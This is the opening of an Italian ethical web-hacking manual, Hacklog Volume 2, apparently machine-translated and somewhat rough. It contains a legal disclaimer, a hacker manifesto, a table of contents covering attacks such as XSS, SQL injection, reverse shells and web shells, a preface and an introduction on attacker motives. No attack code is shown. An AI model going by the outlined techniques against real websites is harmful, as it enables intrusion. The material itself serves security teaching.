Hacklog Volume 2 Web Hacking Manuale Sulla Sicurezza Informatica

Handbook on IT Security & Ethical Hacking
WARNINGS
The violation of someone else's computer or network is a crime punishable by Italian law (Article 615 ter
of the Criminal Code). The procedures described are to be considered for educational / illustrative /
informative purposes only and put into practice only on devices in our possession or in controlled test
environments, therefore the reader releases the authors of this document from any responsibility
regarding the notions assimilated during the course and the verifiable consequences.
What is narrated in some parts of this book is a work of fiction. Any reference to things, people
or events that really happened is purely coincidental.
NOTES ON THE WORK

The contents of Hacklog: Volume 2 are released for free for the whole network and available in
various formats, according to the self-regulation of ethical hacking and respect for the cultural
realities that practice it.
You are free to take parts of the document for any work, appropriately citing the source
(Hacklog di inforge.net) and possibly where possible with hypertext link at the bottom. Being a
project that has taken a long time, I believe that if the document was useful for the purposes of
third party projects, it is shared out of respect for myself, my collaborators, financiers and those
who believed in it.
COPYRIGHT
The text content and images of the Hacklog: Volume 2 ebook are licensed Creative Commons
4.0 Italy, not replicable, no derivative works, commercial. The owner of the rights of this
document is Stefano Novelli and it is distributed by inforge.net.
Hacker Manifesto 2.0
This is our world now ... the world of the electron and the switch, the beauty of the
band.
We use a service that already exists without paying AND that would be lousy
cheap if it weren't run by greedy gluttons too busy thinking about which tie to wear
to the office rather than stopping for even 5 fucking seconds to wonder if this is the
world they want to leave. to those who will come after us. ... and then we would be
the criminals.
You see, we are explorers, we seek knowledge in the sea of shit that you make us
swallow every day with your propaganda, with your advertisements, with those 4-penny
puppets you use to convince us to think and do what you have already decided for us .
“Damn kid. It does not undertake. He probably copied it. He's taking up the phone
line again. They are all the same..."
You can bet your ass we're all the same ... They fed us homogenized at school
when we craved steak. The bits of meat you let pass were pre-chewed and
tasteless. We have been dominated by sadists or ignored by apathetic and the few
who had something to teach us found eager pupils in us, but those few are like
drops of water in the desert.
We exist without skin color, without nationality, without religious or sexual bias ...
and you call us criminals.
You build atomic bombs, start wars, kill, deceive,
you lie and try to make us believe it is for our good ... yet we are the criminals.
Yes, I am a criminal. My crime is curiosity. My crime is to judge people by what

they say and think, not by how they look. My crime was to outclass you, something
you will never forgive me for.
I am a hacker, and this is my manifesto. You can stop me, but you can't stop us all
... after all, we are all the same.
Inspired by "The Conscience of a Hacker" by The Mentor January 8,

1986
There are two types of websites: those that
have already been hacked
and those who have yet to be.
To the souls of those
watching me from up there. May
your spirits finally find peace.
Stefano Novelli
GLOSSARY
Preface
read the Manual
If you don't know anything about WorldWide Web and IT Security
If you already have some WWW and IT Security development experience If you are
already a WWW and IT Security expert
Legend
LAB
Web Hacking
1. Introduction IT Security
1.1 Is the Web ... Easy?
1.2 Man vs Machine
1.3 Ethical (and non) ethical reasons for carrying out cyber attacks
1.4 The Defense starts from the Attack
1.4.1 Software or Administrator's Fault?

1.5 Attack approaches
1.5.1 Vulnerability Assessment and Penetration Testing
1.5.2 White, Gray and Black Box
1.5.2.1 White-Box testing
1.5.2.2 Black-Box testing
1.6 Exploit, Payload and Disclosure
1.7 How to "pierce" a Website
1.8 Ready, Set, Wait!
2. The Tools of the Trade
2.1 Attack Environment
2.1.1 Create your own Attack Virtual Machine
2.2 Defense Environment
2.2.1 Create the Victim Virtual Machine
2.2.2 Configure the Virtual Machine Victim
2.3 Two Virtual Machines, one network
2.4 Metasploitable, the third wheel
2.4.1 Create the Metasploitable Virtual Machine
2.4.2 Configure Metasploitable
2.5 The Terminal
2.6 Interceptor Proxy
2.7 Analyze / Inspect Element
2.8 Metasploit Framework
3. WWW Fundamentals
3.1 What happens when we browse?
3.2 The hard life of the Web Server
3.2.1 Hosting, Cloud, VPS and Server
3.2.2 Reverse Proxy Server
3.2.3 From Domain to IP (DNS)
3.2.3.1 Basic DNS resolution
3.2.3.2 Record Types
3.3 Hello, World!
3.3.1 HTML, the foundation of the Web
3.3.2 CSS, the "coat of paint"
3.3.3 Javascript, the all-rounder client
3.4 Browse the web
3.4.1 URL
3.4.2 The Protocol
3.4.3 HTTP and HTTPS
3.5 Dynamic navigation
3.5.1 PHP
3.5.2 PHP and HTML, a marriage that has to be done
3.5.3 A login page? Of course!
3.5.3.1 Transfer of Data
3.5.3.2 If, Elseif and Else statements
3.5.3.3 GET and POST methods
3.5.3.4 Cookies
3.5.3.5 Sessions
3.5.3.6 Our first web application
3.6 Database
3.6.1 Tables, Rows and Columns
3.6.2 The importance of the ID
3.6.3 Relations between Tables
3.6.4 Our first database
3.6.5 phpMyAdmin, the friend of the Databases
3.6.5.1 Creating a Table
3.6.5.2 Manipulating Values
3.6.6 The SQL language
3.6.6.1 Surviving in SQL
3.6.6.2 Conditions in SQL
3.6.6.3 Types of Values in SQL
3.6.7 PHP and Databases, the perfect combo
3.7 Your first hack
3.8 CMS
3.8.1 Damn Vulnerable Web Application (DVWA)
3.8.1.1 Download DVWA
3.8.1.2 Configure DVWA
3.8.1.3 Install DVWA
3.9 Beyond the fundamentals
4. Scanning (Information Gathering)
4.1 Domain
4.1.1 Whois Domain
Attack: Whois to the Domain
Defense: Whois Domain
4.2 The IP address
4.2.1 ICMP Echo
Attack: Ping Sweep
Defense: Ping Sweep
4.2.2 ARP and TCP
Attack: Ping ARP and TCP

4.2.3 DNS Lookup
Attack: DNS Lookup
4.2.4 Whois IP
Attack: Whois IP
4.3 Intermediate Infrastructures
4.3.1 Reverse Proxy Check
Attack: Reverse Proxy Check
Attack: Manual Common DNS Resolving Attack:
Common DNS Enumeration Attack: Reverse Proxy
Resolving Defense: Reverse Proxy Resolving
Attack: DNS History

Defense: DNS History
4.3.2 Manual extrapolation of IPs
Attack: IP Extraction by Mail Defense: IP
Extraction by Mail Attack: IP Extraction by
Upload Defense: IP Extraction by Upload
4.3.3 Host file

4.3.4 Advanced Protections
Defense: HTTPWhitelisting
Defense: SSHWhitelisting
Defense: Honeypot Blacklisting
Defense: Geoblocking
Defense: User Agent Block Defense:
WAF, IDS and Scenarios
4.4 Active Services
4.4.1 Determine the active ports
Attack: Port Scan
Attack: Port Scan (Metasploit)
4.4.2 Determine the Operating System
Attack: OS Detection
Attack: OS Detection (MSF)
4.4.3 Determine the Web Server
Attack: Web Server Detection Attack: Web
Server Detection (MSF) Attack: DBMS
Detection (MSF) Defense: Scan Detection
(IDS)
4.5 Web Application
4.5.1 Determine Directories
Attack: Directory Listing
Defense: Directory Listing
4.5.2 Determine Languages and Framework
4.5.2.1 Common extensions
4.5.2.2 Manual enumeration
4.5.3 Determine the CMS
Attack: CMS Detection
4.5.4 Determine the CMS Data
4.5.4.1 Enumeration of Username
Attack: Wordpress Enumeration
Attack: Joomla Enumeration
Attack: Drupal Enumeration
4.6 OSINT
4.6.1 Historical Archives
4.6.2 Google
4.6.2.1 Operators in Google
4.6.2.2 Google Hacking
4.6.3 Shodan
4.6.4 Advanced OSINT
4.7 Local output
4.8 Reporting
4.8.1 Maltego
4.8.2 The first graph
4.8.3 Organization first of all!
4.8.4 Unlimited Expansions
Attack: Data Mining Recon
5. Attacks on the Domain
5.1 Domain Hijacking
5.1.1 Domain Expiration
5.1.2 Transfer of a Domain
5.2 Cybersquatting
5.2.1 Typosquatting
5.2.2 Homography
Attack: Domain Typo Detection Attack:
Sub-Domain TakeOver
6. Authentication Attacks
6.1 Password Storage on the Web
6.1.1 Hash, how to save passwords on the web
6.1.2 MD5, the hash history of the Web
6.1.3 Rainbow Tables
6.1.4 MD5 security and other weak hashes
6.1.5 Salt Password
6.1.6 Bcrypt
6.2 How do users authenticate?
6.2.1 HTTP Authentication
6.2.1.1 HTTP Basic Authentication
6.2.1.2 HTTP Digest Authentication
6.2.2 Web App Authentication
6.2.2.1 Authentication Templates
6.2.3 Password Guessing
Attack: Password Default
Attack: Password "Lazy"
Attack: Password Recovery
Defense: Password Guessing
6.2.4 Brute Force Attacks
6.2.4.1 Bruteforcing
6.2.4.2 Dictionary Attack
LAB: Basic Password List Generation LAB:
Advanced Password List Generation
6.2.5 LAB: Bruteforcing
Attack: Bruteforce HTTP Auth Defense:
Bruteforce HTTP Auth
6.2.6 LAB: Bruteforcing Web
Attack: Bruteforce Web Form "Low" Attack:
Bruteforce Web Form "Medium" Attack: Bruteforce
Web Form "High" Defense: Brute Force Web Form
7. Attacks on the Session

7.1 Insecure Captcha
7.1.1 Types of Captcha Attacks
7.1.2 LAB: Insecure Captcha Bypass
Attack: Insecure CAPTCHA "Low" Attack:
Insecure CAPTCHA "Medium" Attack: Insecure
CAPTCHA "High" Defense: Insecure CAPTCHA
7.2 Session Prediction

7.2.1 LAB: Weak Session ID
Attack: Weak Session ID "Low" Attack: Weak
Session ID "Medium" Attack: Weak Session
ID "High" Defense: Weak Session ID
7.3 Cross-Site Request Forgery

7.3.1 LAB: Cross-Site Request Forgery
Attack: Cross-Site Request Forgery "Low" Attack:
Cross-Site Request Forgery "Medium" LAB: Cross-Site
Request Forgery "High" Defense: Cross-Site Request
Forgery
8. Injection connections
8.1 Cross-Site Scripting
8.1.1 Types of XSS attacks
8.1.1.1 Stored XSS
8.1.1.2 Reflected XSS
8.1.1.3 DOM Based XSS
8.1.2 LAB: Stored Cross-Site Scripting
Attack: Stored XSS "Low" Attack:
Stored XSS "Medium" Attack: Stored
XSS "High"
Payload: Cookie Grabbing & Manipulation
Defense: Stored XSS

8.1.3 LAB: Reflected Cross-Site Scripting
Attack: Reflected XSS "Low" Attack:
Reflected XSS "Medium" Attack:
Reflected XSS "High" Payload: XSS
Redirect
Defense: Reflected XSS
8.1.4 LAB: DOM Based Cross-Site Scripting
Attack: DOMBased XSS "Low" Attack:
DOMBased XSS "Medium" Attack:
DOMBased XSS "High" Defense: DOMBased
XSS
8.2 Command Execution
8.2.1 Sanitizing the Input
8.2.2 Performing a non-input
8.2.3 Remote Command Execution
8.2.3.1 LAB: Remote Command Execution
Attack: Command Execution "Low" Attack:
Command Execution "Medium" Attack: Command
Execution "High" Defense: Command Execution
8.3 SQL Injection
8.3.1 LAB: SQL Injection
Attack: SQL Injection "Low" Attack: SQL
Injection "Medium" Attack: SQL Injection
"High" Payload: Dangerous SQL Query
Defense: SQL Injection

8.4 Blind SQL Injection
8.4.1 LAB: Blind SQL Injection
Attack: Blind SQL Injection "Low" Attack: Blind
SQL Injection "Medium" Attack: Blind SQL
Injection "High" Defense: Blind SQL Injection
9. Inclusion Attacks
9.1 PHP, Include and Require
9.2 Relative Paths and Absolute Paths
9.3 PHPWrappers
9.4 Local Inclusion
9.4.1 LAB: Local File Inclusion
Attack: Local File Inclusion "Low" Attack: Local
File Inclusion "Medium" Attack: Local File
Inclusion "High" Payload: Local File
Exploitation
Defense: Local File Inclusion
9.5 Remote Inclusion
9.5.1 LAB: Remote File Inclusion
Attack: Remote File Inclusion "Low" Attack:
Remote File Inclusion "Medium" Attack: Remote
File Inclusion "High" Payload: Reverse Shell
(Netcat)
Defense: Remote File Inclusion

10. Attacks on Uploads
10.1 Unrestricted File Upload
10.1.1 LAB: File Upload
Attack: File Upload "Low" Attack: File
Upload "Medium"
Attack: File Upload "High"
Payload: Upload + RCE = Web Shell
Payload: Upload + RCE = Reverse Shell Defense:
File Upload
11. Attacks on Deception
11.1 Phishing
11.1.1 Principles of Phishing
11.1.2 Types of Phishing
Attack: Fake Sub-domain
Attack: Unicode Domain (Attack) Payload:
Fake Login
Defense: Phishing
12. Post-Attack Violations
12.1 Traces of an Attack
12.1.1 Apache Log
12.1.2 Automatic Log Analysis
12.2 Web Shell
12.2.1 Web Shell, what are they for
Attack: Web Shell Programming
12.2.2 Web Shell Evasion Techniques
Attack: Web Shell Headers Attack: Web
Shell Obfuscation Defense: Web Shell
12.3 Remote Shell

12.4 Malvertising
12.4.1 Cryptocurrencies Injection
12.5 Ghost Users
12.6 Deface
12.7 Privilege Escalation
13. Scanner and Framework
13.1 Web Application Security Scanner
13.1.1 Vega Vulnerability Scanner
13.1.2 Arachni Web Application Security Scanner Framework
13.1.3 Nikto2
13.2 Security Frameworks
13.2.1 OpenVAS
13.2.2 Galileo Web Application Audit Framework
14. Fin
15. Security Check-List
16. Hacking Cribsheet
17. Cheatsheet Linux Commands
Thanks
PREFACE
If you are reading these lines you are probably fresh from reading Volume 1: Anonymity, the
first book that makes up this series of readings dedicated to the passionate about IT Security
and Ethical Hacking. Although the topics covered in this volume are different from the previous
one, you can consider it a sequel; since the topic has already been addressed in volume 1, I
expect you to be able to use a GNU / Linux based Operating System (in our case Parrot
Security OS) and able to understand the various Anonymity techniques. If necessary, you can
always get a digital (free) or paper version of the documents Hacklog,
Volume 1: Anonymity and the short document Installation Manual of

Debian GNU / Linux at www.hacklog.net
Volume 2 begins a new and exciting adventure: the reader will learn more about the
phenomenon of cyber breaches, how cybercriminals manage to violate web infrastructures and
how you can prevent this from happening in the fantastic world of the WWW.
As for the first volume, we will try to educate the reader who has not had adequate scholastic
preparation on the subject: if this can give the idea of a reductive document, I will make sure
that nothing is left to chance. If you feel the need to study or deepen certain topics, you will find
hyperlinks and reference documents from which to draw to fill any gaps.
In any case, it is my concern to remember that the IT security sector is constantly evolving and
that no book will ever be enough to be a guru in this field. What I recommend, both during and
after reading this manual, is to continue studying and constantly get involved, both for passion
and for work, in order to improve and expand your cultural background.
Before concluding I would like to spend a few words on the hundreds of questions that have
been asked to me after the publication of the Volume; in particular, some of these have
emerged clearly.
What is this volume about?

The goal of Hacklog Volume 2: Web Hacking is to educate the reader on the dangers that can
be encountered every day in the vast world of the WorldWide Web.
We will deal mainly, although not exclusively, with methodologies aimed at verifying the safety
of both web environments ( then web portals, applications and so on) up to user safety in the
use of the WWW every day.
The aim will therefore be to educate the reader so that he is able to secure his activities on the
web, applying simulation tests that cyber-criminals carry out every day to the detriment of
unsuspecting users.
Will I really know how to "pierce" any web portal?

What you will be provided with will only be an initial path for learning techniques and modus
operandi: our job will be to put into practice attacks and defenses in controlled environments,
with documented scripts created specifically for this purpose.
This means that you will not have the power to "bend" any website to your will after reading
this manual: rather you will have the skills to deepen new future techniques, carry out a
general screening of your portal (or your customers), to know interpret the risks associated
with the WWW and secure the infrastructures that are dear to you. For these reasons, we will
only deal with common and easily available technologies, as well as opensource or free (PHP,
Apache, Linux, WordPress etc ..)
Who is this volume for?

The text you have in your hands is mainly designed for those who want to learn the concepts
behind the Security of a Web Infrastructure: as much as I try, this cannot (and does not want to
be) an update manual for administrators system or professional programmers. How can we
hope that a text of a few hundred pages can replace years of study and courses with often
disproportionate costs?
Hacklog is not the alternative to a study program: it can help you understand which way to go
or to review concepts that you had forgotten (or ignored), it can be the motivational push you
were looking for to undertake a career path, but it is not, and never will be , more than all this.
If this is your first time in the world of IT Security in the WWW field, you will find an entire
chapter dedicated to WWW Fundamentals, which will provide you with all the basics to
understand behaviors and, subsequently, the vulnerabilities that follow.
What is the purpose of the Hacklog?
It is not my intention to train "followers", I do not want to have people on my conscience who "hack"
commands at random; I am not interested in causing inconvenience to companies or institutions, let
alone foment hatred and illegal or disrespectful actions towards third parties.
My first goal is to make order in the infinite galaxy of information on the net, arguing them with
possible realities and sharing them so that they are easily understood by anyone; the second
reason is to teach how the "thieves" break in the locks, so as to help the homeowner to prevent
them from entering the main entrance.
But the real reason that pushes me to continue on this path is there passion and the will not to
let the system worry about the safety of each of us.
For these reasons in this book I have decided not to:
- Share attack techniques that are difficult to mitigate or unknown (0day)
- Demonstrate cyber attacks on companies or real people
- Illustrate “disposable” techniques and lamer software 1
What knowledge do I need?

I believe that one of the greatest successes of the first Volume was to be able, where possible,
to bring anyone - even the least prepared - closer to the world of Information Security.
This however cannot be the reason for ignoring complex technical topics: we all would like to
have a click as a solution but you already know it won't be! For this reason I ask you to don't
throw in the towel right away, if any topic is difficult for you, go ahead or look for answers
before continuing: let yourself be embraced by knowledge, confronted with other realities and
people, experience study and research in first person.
Returning to the subject of this short paragraph I expect you to have
a great desire to learn: making a mistake you learn and I assure you that you could spend a whole day
trying to understand because it does so.
Nobody, and I mean nobody, was "born learned": always ask yourself if what you are doing makes
sense, question yourself (and question me).
Do you want some advice from a true friend? Learn to read between the lines. You will find yourself in
situations where hundreds of lines they give you error. Do not ignore them, read what is written well.
Often they will be in English, a now fundamental language in computer science, but it is not difficult! If you
need an online dictionary or translator, use it!
Last but not least it could be very useful to have a web experience: I don't expect you to be
able to design an entire website but at least you have already dealt with a website. I'll try to
simplify everything but don't expect it to become a programming or server administration
course. However, I do not believe that a Computer Engineer can draw more than a simple
hobbyist can if he applies himself with perseverance and determination: may find it easier to
understand a topic and apply it correctly but will not learn much more than from those who
have no skills in it.
I got stuck in topic X. Can you help me out?
I'm sorry but I don't offer private consultancy. Dozens of people every day, after the publication
of the book, ask me for advice on both problems related to the first volume (and I do not think
this will be an exception) and other problems. Unfortunately, I feel like rejecting any kind of
request, simply because I don't think it right that a particular problem should be solved secretly
between me and the interlocutor. I am always available for public comparisons, where other
people too - much better prepared than me! - they can give their support and contribute in
something much greater than just a simple one help desk. This is my philosophy and I do not
intend, at least for the moment, to change it.
What studies do you recommend to start to work in the IT Security

sector?
Obviously the most suitable branch of study is the IT one. However, I am not the best person
to indicate which course of study to follow and moreover I don't feel like taking the
responsibility of recommending something that could potentially change your life. What I can
tell you is: ask, ask, ask! Find out about the training courses that will be proposed, about the
topics - broadly speaking - about what will be addressed, about the workshops, about the
professors. Ask them for the necessary skills, attend seminars, go to conferences, read books,
go to Open Days (if you haven't decided yet): in this field research is fundamental.
When does the next volume come out?
The Hacklog is the result of months of work, as was the first volume and as is this too. I assure
you that I will do my best not to make you wait too long and as soon as I have a certain date I
will communicate the release of the next volumes. And no, I still don't know what it will be! :)
The announcement of the new volume will always be made on our website and on our
communication channels. You will find the reference links at www.hacklog.net
Having said that, I hope that this Volume can really teach you something in the field of IT
Security, that you put into practice the methods learned here and give you the right push to
start - or continue - the
journey to this fantastic world. And now, let the dances begin!
Stefano Novelli
READ THE MANUAL
In this short chapter we will give some indications on how to better understand the information
that will be shown.
IF YOU DON'T KNOW ANYTHING ABOUT WORLD WIDE WEB AND IT

SECURITY
No need to go around it, we recommend that you read the document from start to finish. Some
topics could be really difficult, we advise you to learn more from the links or through a search
on the net. If you find it difficult to understand the text, we recommend that you read it once
without putting into practice what is described but simply trying to interpret the topic as best
you can. A second reading should help you put the teachings into practice. Try to follow all the
commands you are taught to the letter and don't try to deviate from alternative tools until you
have the necessary command of the subject.
IF YOU ALREADY HAVE SOME WWW AND IT SECURITY

DEVELOPMENT EXPERIENCE
You will probably know many of the things that will be taught: to please everyone, you will have
to "endure" the most boring parts or that you already master: it may still be useful to have some
review on topics that over the years you have slumbered in your memories or perhaps ignored
because you considered useless. If you already have basic programming and server
administration experience, you can decide to skip the “WWW fundamentals” chapter where
Client-Server principles, HTTP protocols and Web programming on the Client and Server side
are explained. You can also decide to use tools other than those recommended and maybe
deepen or test yourself with the "Advanced" tips that you will find while reading.
IF YOU ARE ALREADY A WWW AND IT SECURITY EXPERT

I almost certainly have nothing to teach you, indeed maybe you have something to say to me
about this manual! Feel free to use the document as
cheatsheet or guideline if you are teaching the subject to other people, such as your
employees or pupils. If you believe that parts of this document may require advanced topics -
although I want to remind you that this is a basic manual - or to be corrected, I invite you to
write to me by taking the contacts from the address hacklog.net. Maybe in the future we could
work together for a revision or even a new volume!
LEGEND
The book is formatted to give an understanding of the various environments and levels of "difficulty"
that will arise during the various topics:
This is a terminal: here you will see the commands that are launched in the test environments. By convention, each
command line will start with a dollar sign ($). Each newline will assume [ENTER]. Eg:
$ ping www.google.it
This is a study block: here we will indicate the information on which we will carry out analyzes. You could find IP addresses,
HTTP responses, cookies, in short, any information that requires analysis.
CODE
Here you will find programming code

<script> alert ( 'There is both Javascript!' ); </script>
<? php echo ( "what PHP!" ); ?>
Here you will find a possible online link of the original code
This is an in-depth analysis: to avoid breaking the fluidity of a speech, any details on a certain
topic you will find them inside this container.
This is an advanced tip: here you can find dedicated topics for those who already chew IT
Security and the WWW. Understanding tips is not critical to fully understanding a specific topic.
LAB
The following reading makes use of the LAB, the Virtual Laboratories that the user can replicate to
touch every single technique. Each "LAB" is divided into three parts, represented by the following
legend:
Attack: " First name" Low / Medium / High 2

Simulation Environment; Any tools used
In this part, the vulnerability in terms of attack is explained. For each attack, a subjective
assessment by the author of the characteristics of this vulnerability will follow.
Payload: " First name"
Simulation Environment; Any tools used
In this part the exploitation of the vulnerability is explained 3 , if the latter does not already cause
a risk of its own. We will then see how exploiting the vulnerability can cause damage to the
web infrastructure.
Defence: " First name"
Simulation environment
This part explains how you can avoid, or limit, that the vulnerability poses a risk to the web
infrastructure.
Not all attacks will be deepened; we will devote ourselves to the study of the most important,
common and easy to learn. Some types of attacks will simply be mentioned, to be explored
separately if necessary.
WEB HACKING
The short essay starting Hacklog 2 is a short retelling of the
Hacker Manifesto ( in English the Conscience of a Hacker), historical document published on
1/8/1986 by The Mentor a few days after his arrest for computer crimes.
Those were other times, years in which the film War Games and the media painted the Hacker
like that person who could start a nuclear war with a single click: as ridiculous as it may seem,
the IT sector was not at the mercy of the average consumer but was still chewed on by a few
wealthy companies, university research groups and hobbyists of a certain caliber.
Although more than 30 years have passed it is a certain effect to realize how much things are
still felt in today's society: starting with them, as The Mentor defines them in the original paper,
the "techno-brains of the 50s", individuals who are unable to see behind the eyes of those who
look far beyond corporate turnover or personal reward.
The "bigots of computer science" some would say, and they wouldn't go that far; and it is in this
way that today the "hacker culture" is bruised by intellectuals who raise their own knowledge
over others, and instead of reaching out one hand to the next, raise the wall of saccenza.
The new generations of experts in Cyber Security they are too busy smoothing the hair of
some multinational concerned more about making money than about real security, that of the
common man, and then look down on you saying "and you think you are a hacker?". And no, I
don't blame them, they found their dimension in a world that travels to what we call ...
progress. But the hacker culture and ethics are something different from technical skills: it is a
personal journey towards knowledge and sharing, towards an ideal point of one's mind made
up of satisfactions and challenges with one's being.
Being a hacker is not knowing as many programming languages as possible or the number of
zeros in your bank account in relation to the work you do; being a hacker must be born from an
unconditional and uncontrollable motion to explore the limits that the universe (not only IT) has
to offer us constantly every day. And we could continue with yet another rhetoric
on the media that distort a culture cultivated for years, treated by the greatest minds of this
century and then ridiculed or exploited with masks and hoods, but I don't think this is the place
or time to talk about it. We'll do it again, I promise you.
I conclude with a thought: being a hacker goes beyond any material concept, any party or
religious ideology. And if you can understand it, or feel part of it, then you already are.
The panorama of the IT Security it is certainly fascinating, thanks also to Hollywood-style books
and films that mystify the activities of cyber-criminals by trivializing them in hilarious and ridiculous
scenes made of 3D cubes, secret programs and keys or codes stuck randomly everywhere.
This is also one of the reasons why the novice boy is dazzled by this distorted vision, reducing
himself to installing some scanners or tools, and then abandoning the field of IT Security - if
you can call it that - when "nothing works" .
What often comes out of it is the individual who in the jargon is called "lamer": the only fault
that this poor wretch has is that he dreamed big without having the basic skills, a bit like the kid
who wants to become the new Jimi Hendrix without ever having played a chord in his life. As
with any other subject there is therefore an often boring and limiting learning period: we would
all like to pick up a Stratocaster and do the most beautiful solo on Earth. Unfortunately - or
perhaps fortunately - this is not the case.
With the term Web instead we refer to the whole World Wide Web, its protocols, the tools
designed for its use, the information that travels in it and so on. The world Wide Web it is
probably the Internet service most used by Internet users today: it contains millions and
millions of websites, both amateur and professional, grouped in a single large container. A
container made up of hundreds of billions of data, scattered here and there in the world,
increasingly rooted in addictive sites and apps driven by a huge mass of consumers, who want
more and more.
Anyone who has ever used any digital device has come into contact with the WWW; this has in
fact replaced over the years most of the services once exclusive to the “local” world.
Digital activities on the WWW can be of various types: buying online (e-commerce), reading
emails (webmail), staying in touch with your friends (chat) or relating to others (social
networks), getting information (wiki), searching (search engines), watching video or audio
(streaming) and thousands of other categories and sub-categories that would be impossible to
absolutely list.
The use of the WWW is not only limited to surfing the web: the developers - for several
reasons that we will explain shortly - have begun to devote themselves to the WWW in a wider
way than in the past: some for example prefer to make use of the HTTP API 4 for their programs
rather than relying on abstruse proprietary technologies. A very common example of this are
applications for smartphones or tablets.
For this, and many other reasons, when we talk about the World Wide Web and what it is made
up of, it is important to consider not only the simple website but everything that constitutes its
ecosystem: here then we are talking about
web application.
This page has been intentionally left blank.
1. INTRODUCTION IT SECURITY
In this chapter we will see how and why cyber attacks grow on the World Wide Web, how
much technology and humans affect cyber attacks and the reasons that push cybercriminals to
attack on the WWW. We will then address the responsibilities of when a web attack occurs and
how a cybercriminal can easily breach an infrastructure without any knowledge of IT Security.
1.1 Is the Web ... Easy?

Developing an application can be a titanic undertaking: whether you are a freelancer or an
established company in the sector, the demands of a client or the needs of the market can
make the life of the developer a real hell!
The evolution of the technologies of the World Wide Web, together with its homogenization, has
made it possible to achieve two fundamental objectives for the success of the sector:
1) Drastically speed up development times
2) Provide more functionality in applications
In fact, web developers can rely on programming languages (which we will discuss in chapter
3.5) that allow them to create multi-compatible web applications: until a few years ago, setting
up even the simple layout of a website required multiple versions. of the same code to have
the same result on different browsers on the market.
The interest in Web technologies has also allowed a double expansion of functionality: on the
one hand we find the possibility of exploiting features previously available only through
proprietary technologies (a recent example of Flash "recently" replaced by HTML5 for
streaming playback media), on the other hand the possibility of integrating more and more
web-based features for various operations, such as updating the application or interacting with
it through the Internet.
We can therefore state that:

- I. programming languages that allow you to create web applications are among the easiest to
learn and consequently the most popular.
- No need to design the whole client ( the part of the program used by the user); anyone
already has a browser, so deploying a web application becomes a much easier task without
the worry of releasing updates or explaining their use.
- I. latest generation browser they offer overwhelmingly powerful pre-built rendering tools,
allow you to create user interfaces in minutes, and are available for virtually any platform.
- The HTTP protocol - the set of rules that allows communication between two devices within
the World Wide Web - is extremely light and easy to use. It also allows easy implementation
with SSL (chapter 3.4.3) limiting the risks for the user's security.
There is no doubt that the World Wide Web has attracted everyone's attention on the security
front: between companies that increase their business through e-commerce, users who use
web applications for everyday use and cybercriminals who concentrate their forces in order to
compromise confidential bank accounts or databases, all the spotlight is on this infinite world.
Those who work in the industry know how important the reputation on the web and how any
violation can be the cause of a real digital catastrophe.
Imagine for a moment that the website of a well-known bank is broken and the homepage is
replaced by an irreverent image that urges customers to change institution: how long do you think
the “life” of the brand in question will last?
Yet there are more and more companies that rely on Sunday programmers, improvised web
masters or the computer expert cousin: between cheap web hosting, handyman CMS and
online guides that claim to give tips on "making a website in 5 minutes ”, the growth of
vulnerable portals has increased exponentially and with it cybercrime in its most fertile period.
1.2 Man vs Machine

The rapid spread of the Internet has allowed millions of people to venture into a world filled
with infinite possibilities - how well prepared are they for this?
As we read this document we will see the importance of

human factor, often considered an “impure” variable among some professionals who, indeed,
downgrade it to an element irrelevant: I believe that Cyber Security must take into account
any element, be it a person rather than a vulnerability in a line of code.
On the other hand, there is a saying in the IT field that reads: "Sometimes the problem lies between the
keyboard and the chair".
And that's not all: what a cybercriminal may want to achieve (more on this topic shortly) could
be
personal informations affecting the victim, as well as altering their reputation, exploiting their
computer skills and so on.
Man, safely, can therefore be either the method that the target: in fact, one may want to violate
a computer system through the user's inexperience in order to “climb” in the attack, or to
circumvent it because it is the target himself.
Where the human factor is really irrelevant is the computer system to be the one in the
spotlight (despite the latter being configured or designed, precisely, by human beings): it is the
vulnerability of a software that can allow unauthorized access to a device through the Web
and, as far as habits and personal skills or company protocols are impeccable, the end user
relies on a system that he can never totally control.
As we will see the common mistakes in Web Security concern incorrect configurations caused
by users, as well as obviously the design and programming errors of an application or
infrastructure: once again we highlight how often the problem is not the application itself but
the negligence or lack of experience of the administrator of system.
However in this case the human factor is external to our skills, or rather, it is irrelevant as the
approach to the attack will not consider it as an element of study: more simply said, identity
and interaction
with a hypothetical system administrator it will be irrelevant.
1.3 Ethical (and non) ethical reasons for carrying out

cyber attacks
So far we have generalized about the world that revolves around the WWW and hinted at the
hacking ethic. What we are going to analyze now is the modus operandi that cyber criminals
use and all the elements that make up this particular branch of information technology.
Let's first consider the cyber-criminal not as a single person but rather as an entity: it can
therefore respond to a group of people (more or less organized) who in turn are part of an
autonomous team or a company; according to their purposes, they could be financed by clients
and "sponsors" of various types (institutes, entrepreneurs, governments, etc ...).
What is a cyber-criminal looking for? Why does it violate a computer system? Does anyone
have it with me? These and other classic questions are often the cause that leads, even today,
to not paying particular attention to Network Security. I'll explain.
Gianni has a pizzeria and, like many others in his condition, decides to create a website, a
Facebook page and so on. When Gianni contacted the web agency (or his IT cousin) to take
care of his online image, he never bothered to say: will the identity of my online business be
secure? He does not ask himself simply because he believes he is not a worthy victim of the
cyber-criminal, a bit as if he decided not to close the shop door anymore because there is
nothing to steal.
It is precisely this "easy" mentality that makes him the best prey: the cyber-criminal may in fact
have more need to violate a remote machine (and use it to the detriment of a much larger
objective) rather than deface 5 the site.
Gianni will therefore care less and less about updating the site, its plugins and so on (human
factor), thus making it exposed to mass attacks controlled by bots. 6 designed to breach
indiscriminately any web portal (IT factor).

The previous example allows us to clear the common thought that "nobody gives a damn about
my site": it's true, those in search of fame will most likely look for a more difficult prey than the
pizza chef at home, but for the cyber-criminal that needs to build its attack network (e.g. host a
Phishing page 7 o exploit the web server for DDoS attacks 8 ), Gianni is the best he can find.
This consideration, however, is not limited only to the world of websites: every day thousands of
attacks of various types are carried out, towards various objectives, purposes and attack techniques
through the WWW.
The ethical motivations that can be had in attacking a Web application are the subject of
several discussions; what we can analyze instead are the reasons that make them so
attractive in the eyes of cyber criminals. Recognizing these factors will then give us a clearer
overview of what the attacker expects to find:
Unlimited supply: one of the factors that make a web application more attractive is the
constant and permanent availability it offers online. Unlike any other device, the server (and
more specifically the web server) is conceived and designed to be constantly on the network
and at everyone's mercy. Moreover, every day thousands of servers are born and die, ready
to be holed up.
Ease of attack: unlike sectors that are much more difficult to digest (just look at the attacks
against software through overflow techniques), the world of web applications is much more
accessible even to those who do not have great skills in this field.
Sector immaturity: the availability of pre-packaged CMS and one-click setups have
allowed those who have no expertise in the field to set up entire web portals at extremely
cheap prices without paying any attention to the Security field. The same can be said of the
